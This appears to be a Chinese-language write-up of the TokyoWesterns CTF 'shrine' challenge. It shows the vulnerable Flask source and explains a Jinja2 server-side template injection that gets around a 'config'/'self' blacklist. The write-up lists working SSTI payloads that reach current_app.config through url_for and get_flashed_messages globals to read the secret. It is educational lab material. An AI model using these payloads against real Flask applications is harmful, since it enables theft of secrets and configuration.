zoukankan      html  css  js  c++  java
  • 【TokyoWesterns CTF】shrine

    信息:

    题目来源:TokyoWesterns CTF

    标签:flaskSSTI

    解题过程

    构建题目环境后,访问主页可以获得程序源码:

    import flask
    import os
    
    app = flask.Flask(__name__)
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    @app.route('/shrine/')
    def shrine(shrine):
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self'] 
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
        return flask.render_template_string(safe_jinja(shrine))
    
    if __name__ == '__main__':
        app.run(debug=True)
    

    分析代码:

    1. 程序绑定了两个web页面;
    2. 访问根目录会得到程序源代码;
    3. shrine目录下存在渲染模板的函数,有可能是突破口;
    4. FLAG存在flask框架的config文件中;
    5. 对于输入的部分有过滤

    进行简单的测试:

    shrine1

    但是发现代码会将(,)替换为空格。拼接到{% set config=None%}{% set self=None%}后。

    并将selfconfig设置为黑名单。

    如果没有黑名单的时候,我们可以传入 config,或者传入{{self.__dict__}}获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙箱逃逸的方法,来调用被禁用的函数对象。

    大佬的经验如下:

    {{url_for.__globals__['current_app'].config.FLAG}}
    {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
    {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
    

    使用前两条payload都可以得到flag。

    参考

    CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】

  • 相关阅读:
    个人第四次作业
    个人第四作业
    英语学习app——Alpha发布2
    英语学习app——Alpha发布1
    团队作业---系统设计
    团队第二次作业:需求分析
    第三次作业:结对编程
    团队第一次作业
    Web测试实践 第二天
    Web测试实践 第一天
  • 原文地址:https://www.cnblogs.com/chalan630/p/13277193.html
Copyright © 2011-2022 走看看